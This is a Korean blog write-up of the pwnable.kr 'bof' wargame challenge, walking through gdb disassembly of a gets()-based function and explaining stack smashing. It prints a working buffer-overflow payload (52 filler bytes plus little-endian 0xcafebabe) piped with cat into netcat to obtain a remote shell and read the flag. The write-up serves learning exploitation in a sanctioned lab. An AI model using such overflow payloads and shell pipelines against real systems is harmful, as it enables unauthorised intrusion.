일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- Brute Force
- 컴공복전
- 시뮬레이션
- higunnew
- Memory Management
- 데드락
- 운영체제
- fork
- BFS
- Deadlock
- BOJ
- samsung research
- 완전탐색
- 김건우
- 삼성기출
- 백트래킹
- paging
- exec
- segmentation
- ascii_easy
- 삼성리서치
- 알고리즘
- 백준
- 가상메모리
- dfs
- pwnable.kr
- 구현
- 스케줄링
- 프로세스
- 동기화문제
- Today
- Total
gunnew의 잡설
pwnable.kr 3. bof (Buffer overflow) (Stack smashing) 본문
이 문제 풀다가 뇌가 정지되는 느낌을 너무 많이 받았다. 어셈블리를 거의 1년 만에 뜯어보게 될 줄이야...
일단 gdb (GNU debugger) 사용법도 몰랐다. 아무튼 나에겐 너무 어려웠음.
우선 기본적으로 ./bof로 열리지 않는 문제가 발생한다. 이것은 bof 바이너리 파일이 32bit으로 작성되어 있고 우리 운영체제는 보통 64bit이기 때문이다. 아무튼 이거는 구글링으로 해결했으니 따라오도록
kimk@ubuntu:~/Desktop/security/bof$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0
bcc499504f273, not stripped
kimk@ubuntu:~/Desktop/security/bof$ getconf LONG_BIT
64
kimk@ubuntu:~/Desktop/security/bof$ sudo dpkg --add-architecture i386
[sudo] password for kimk:
kimk@ubuntu:~/Desktop/security/bof$ sudo apt-get update
...
kimk@ubuntu:~/Desktop/security/bof$ sudo apt-get install libc6:i386 libncurses5:i386 li
bstdc++6:i386 zlib1g:i386
...
kimk@ubuntu:~/Desktop/security/bof$ ./bof
bash: ./bof: Permission denied
kimk@ubuntu:~/Desktop/security/bof$ chmod 777 bof
kimk@ubuntu:~/Desktop/security/bof$ ./bof
overflow me :
1. gdb bof로 디버깅하기 |
gdb bof를 입력하면 다음과 같은 창이 뜰 것이다. 잘 따라오자.
set disassembly-flavor intel을 입력하여 (나에게) 익숙한 인텔 어셈블리로 보도록 하자. 그리고
disass func를 치면 func 함수를 disassembly code를 볼 수 있다.
2. disass func |
하 멘붕. 어셈블리라니...
하지만 어쩔 수 없다. 디스 어셈블리 코드를 보고 한 줄씩 해석은 안해도 적당히 무슨 뜻인지 살펴는 보자!
Dump of assembler code for function func:
// push ebp와 mov ebp, esp는 ebp를 스택의 시작점 esp로 바꿔버린다. (ebp는 base pointer)
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
// sub esp, 0x48은 72 bytes만큼의 여유 스택을 할당하는 것
0x0000062f <+3>: sub esp,0x48
// gs:0x14는 register segment (인가?)의 주소라고 되어 있던데 무슨 의미인지 모르겠음
0x00000632 <+6>: mov eax, gs:0x14
// ebp - 0xc는 ebp - 12인데 밑에서 보면 char overflowme[32]는 ebp - 44에 저장되어 있음.
// 이 둘의 차이가 32인데 이걸 구분하는 무언가 일 수도 있지만 암만 검색해도 뭔지 모르겠으므로 패스
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
// 다음 두 줄은 printf("overflow me : "); 시스템 콜을 위한 부분. 0x78c는 아마도 "overflow me :"라는 문자열의 주소인듯
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
// lea는 Load Effective Address로 주소를 옮김(mov와 비슷)
// 스택의 시작점인 ebp로 부터 밑으로 44 bytes 떨어진 곳의 주소를 eax에 옮긴다 ? 이게 뭘까?
0x00000649 <+29>: lea eax,[ebp-0x2c]
// 그 주소를 esp로 옮기고 시스템 콜을 하는 걸 보니 gets(overflowme); 부분인가 보네!
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
// if(key == 0xcafebabe) 부분인데 ebp + 0x8에 있는 값과 0x cafebabe를 비교하는 걸 보니 인자로 넘어온 key는 ebp + 0x8에 저장이 되어 있구나!
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
... 이하 생략
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
---Type to continue, or q to quit---
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
이를 바탕으로 결론을 내리자면, char overflowme[32]와 int key에는 52bytes만큼의 공간이 있기 때문에 52 bytes를 다른 것으로 채우고 그 뒤에 cafebabe를 입력하면 된다. 이렇게 gets와 같이 길이 제한이 없는 입력 시스템 콜의 경우 stack을 침범할 수 있어 보안상 취약하다. 이것을 stack smashing이라고 부르며 이러한 이유로 Visual studio에서는 scanf 대신에 scanf_s를 쓸 것을 반 강요하며 (물론 이것도 #define _CRT_SECURE_NO_WARNINGS 를 통해 해결 가능하지만), C11에서는 gets가 deprecated되었다.
아무튼! 이 경우도 지난 번 collision과 마찬가지로 little endian을 고려하여 0xbe, 0xba, 0xfe, 0xca로 입력하자!
3. Payload 작성 |
그러나 여기서도 입력을 어떻게 하는지 모르겠다... 어쩔 수 없이 해답을 찾아보았다. 여전히 내가 절대 모를만한 것이었다. 역시 사람은 답을 봐야 한다. 그런데 이번엔 답도 모르겠다!
이렇게 입력하라는데 이게 무슨 말인지 도저히 모르겠다. 뒤에 ; cat은 왜 나오는 걸까?
일단 시스템 콜 system(" ")이 뭔지 부터 다시 보자.
안에다가 shell command 를 입력할 수 있는 것이다.
system("/bin/sh");는 그럼 뭔 말이냐? 우리가 리눅스 환경에서 위와 같이 입력하면 /bin/sh 경로로 이동하게 되잖아? 아하! 그럼 우리는 지금 python -c 를 통해 "A"*52 + 0xcafebabe를 입력하고 나서, nc pwnable.kr 9000으로 들어가서 /bin/sh에 들어가 flag에 있는 내용을 보고 싶은 거니까 이렇게 입력하면 되겠구나.
어라 근데 이렇게 입력해도 뭐가 되지 않는다. 왜지?
.......
.......
.......
.......
그러다가 stackoverflow에서 나름 괜찮은 답변을 찾았다.
정리하면 이렇다. python -c 'print("A"*52 + "\xbe\xba\xfe\xca") 을 통해 A*52와 0xcafebabe를 입력할 수 있다. 그리고 나서 nc pwnable.kr 9000 에서 실행하여시스템 콜인 system("bin/sh")를 실행해야 한다. 그렇게 /bin/sh를 실행하고 나면 입력을 받으려고 한다. 그런데 입력을 받을 수단이 없으므로 우리가 키보드로 아무리 쳐도 다음과 같이 아무 것도 나오지 않게 되는 것이다.
따라서 python -c print뒤에 ;cat 이라는 소프트웨어를 실행하여 표준입력을 받을 수 있게 해야 한다.
kimk@ubuntu:~/Desktop/security$ (python -c 'print("A"*52+"\xbe\xba\xfe\xca")'; cat) | nc pwnable.kr 9000
와 같이 해주고 ls를 치면 다음과 같이 목록이 뜬다.
kimk@ubuntu:~/Desktop/security$ (python -c 'print("A"*52+"\xbe\xba\xfe\xca")'; cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
여기서 이제 cat flag를 통해 flag에 무슨 텍스트가 들어있는지 확인해주면 끝난다.
'System Security' 카테고리의 다른 글
pwnable.kr 6. random (0) | 2020.02.05 |
---|---|
pwnable.kr 5. passcode (0) | 2020.02.04 |
pwnable.kr 4. flag (UPX unpacking problem) (0) | 2020.02.02 |
pwnable.kr 2. collision (0) | 2020.02.02 |
pwnable.kr 1. fd(File Descriptor) (0) | 2020.02.02 |